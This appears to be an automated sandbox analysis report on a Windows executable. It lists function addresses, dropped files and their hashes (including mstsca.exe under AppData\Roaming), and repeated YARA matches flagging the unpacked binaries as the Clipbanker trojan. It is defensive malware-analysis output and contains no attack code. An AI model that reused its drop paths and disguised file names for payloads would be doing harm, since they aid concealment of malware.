Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0043E5A3	1_2_0043E5A3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040A660	1_2_0040A660
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0041E690	1_2_0041E690
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00406740	1_2_00406740
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00402750	1_2_00402750
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040A710	1_2_0040A710
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00408780	1_2_00408780
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0042C804	1_2_0042C804
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00406880	1_2_00406880
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004349F3	1_2_004349F3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004069F3	1_2_004069F3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00402B80	1_2_00402B80
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00406B80	1_2_00406B80
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0044ACFF	1_2_0044ACFF
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0042CE51	1_2_0042CE51
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00434E0B	1_2_00434E0B
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00406EE0	1_2_00406EE0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00420F30	1_2_00420F30
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00405057	1_2_00405057
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0042F010	1_2_0042F010
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004070E0	1_2_004070E0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004391F6	1_2_004391F6
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00435240	1_2_00435240
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004C9343	1_2_004C9343
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00405447	1_2_00405447
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00405457	1_2_00405457
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00449506	1_2_00449506
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0044B5B1	1_2_0044B5B1
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00435675	1_2_00435675
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00409686	1_2_00409686
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040F730	1_2_0040F730
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0044D7A1	1_2_0044D7A1
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00481920	1_2_00481920
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0044D9DC	1_2_0044D9DC
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00449A71	1_2_00449A71
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00443B40	1_2_00443B40
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00409CF9	1_2_00409CF9
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040DD40	1_2_0040DD40
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00427D6C	1_2_00427D6C
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040BDC0	1_2_0040BDC0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00409DFA	1_2_00409DFA
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00409F76	1_2_00409F76
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0046BFE0	1_2_0046BFE0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00449FE3	1_2_00449FE3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF3520	4_2_05DF3520
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF7520	4_2_05DF7520
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E1D7F1	4_2_05E1D7F1
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFA79A	4_2_05DFA79A
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFC760	4_2_05DFC760
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFE6E0	4_2_05DFE6E0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFA699	4_2_05DFA699
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E3B69F	4_2_05E3B69F
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E1D1A4	4_2_05E1D1A4
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E3E141	4_2_05E3E141
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF9120	4_2_05DF9120
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF30F0	4_2_05DF30F0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E000D0	4_2_05E000D0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF70E0	4_2_05DF70E0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFB0B0	4_2_05DFB0B0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E0F030	4_2_05E0F030
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFB000	4_2_05DFB000
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFA026	4_2_05DFA026
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF7393	4_2_05DF7393
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E3E37C	4_2_05E3E37C
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E722C0	4_2_05E722C0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF7220	4_2_05DF7220
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF5DF7	4_2_05DF5DF7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF5DE7	4_2_05DF5DE7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E32D1E	4_2_05E32D1E
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E24E9F	4_2_05E24E9F
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF8E60	4_2_05DF8E60
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF89D0	4_2_05DF89D0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF59F7	4_2_05DF59F7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E1E9A3	4_2_05E1E9A3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E1F9B0	4_2_05E1F9B0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFA916	4_2_05DFA916
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E118D0	4_2_05E118D0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF7880	4_2_05DF7880
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFDBE0	4_2_05DFDBE0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF2B60	4_2_05DF2B60
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E00B00	4_2_05E00B00
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF7A80	4_2_05DF7A80
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DFCA10	4_2_05DFCA10
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0042E003	5_2_0042E003
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040D240	5_2_0040D240
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0041E690	5_2_0041E690
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040F730	5_2_0040F730
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00481920	5_2_00481920
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00419F90	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D050	5_2_0050D050
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00405057	5_2_00405057
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040C070	5_2_0040C070
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0042F010	5_2_0042F010
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D008	5_2_0050D008
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00408030	5_2_00408030
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D028	5_2_0050D028
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004070E0	5_2_004070E0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D090	5_2_0050D090
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D0A8	5_2_0050D0A8
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00410160	5_2_00410160
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004021C0	5_2_004021C0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004C9343	5_2_004C9343
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0044237E	5_2_0044237E
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00405447	5_2_00405447
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00405457	5_2_00405457
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004084C0	5_2_004084C0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C4E0	5_2_0050C4E0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004344FF	5_2_004344FF
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00449506	5_2_00449506
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0043E5A3	5_2_0043E5A3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0044B5B1	5_2_0044B5B1
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040A660	5_2_0040A660
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00409686	5_2_00409686
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00406740	5_2_00406740
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00402750	5_2_00402750
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040A710	5_2_0040A710
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00408780	5_2_00408780
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0044D7A1	5_2_0044D7A1
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0042C804	5_2_0042C804
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00406880	5_2_00406880
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C960	5_2_0050C960
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C928	5_2_0050C928
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0044D9DC	5_2_0044D9DC
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004069F3	5_2_004069F3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C988	5_2_0050C988
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C9A8	5_2_0050C9A8
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00449A71	5_2_00449A71
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004E1AB0	5_2_004E1AB0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00443B40	5_2_00443B40
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CB78	5_2_0050CB78
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00402B80	5_2_00402B80
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00406B80	5_2_00406B80
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00409CF9	5_2_00409CF9
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0044ACFF	5_2_0044ACFF
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040DD40	5_2_0040DD40
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00427D6C	5_2_00427D6C
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CD60	5_2_0050CD60
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040BDC0	5_2_0040BDC0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CDF0	5_2_0050CDF0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00409DFA	5_2_00409DFA
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CE58	5_2_0050CE58
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0042CE51	5_2_0042CE51
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00406EE0	5_2_00406EE0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00409F76	5_2_00409F76
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00420F30	5_2_00420F30
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CF28	5_2_0050CF28
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CFC0	5_2_0050CFC0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00449FE3	5_2_00449FE3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CF90	5_2_0050CF90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sqln[1].dll 036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 05DF8EC0 appears 57 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 00428C81 appears 79 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 05E18EC0 appears 57 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 05E20160 appears 50 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 004547A0 appears 108 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 0042F7C0 appears 172 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 00428520 appears 144 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 05E00160 appears 50 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 00425007 appears 32 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 00454E50 appears 77 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: String function: 0044F26C appears 41 times

Source: Z4CYGTBlj7.exe, 00000000.00000002.2003139053.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000001.00000000.2000373478.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000001.00000003.2017099120.00000000030B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000004.00000000.2020414228.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000005.00000002.2570707602.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires0 vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000005.00000003.2554383942.0000000002FC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires0 vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000005.00000000.2023961925.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000005.00000003.2563095014.0000000002FC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires0 vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000006.00000000.2040887734.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000007.00000000.2044139377.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 0000000C.00000002.2175420368.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 0000000D.00000000.2170463284.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000016.00000000.2428241088.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe
Source: Z4CYGTBlj7.exe, 00000017.00000000.2432555601.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs Z4CYGTBlj7.exe

Source: Z4CYGTBlj7.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 11.2.build3.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.build3.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 18.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 18.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.9115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.9115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
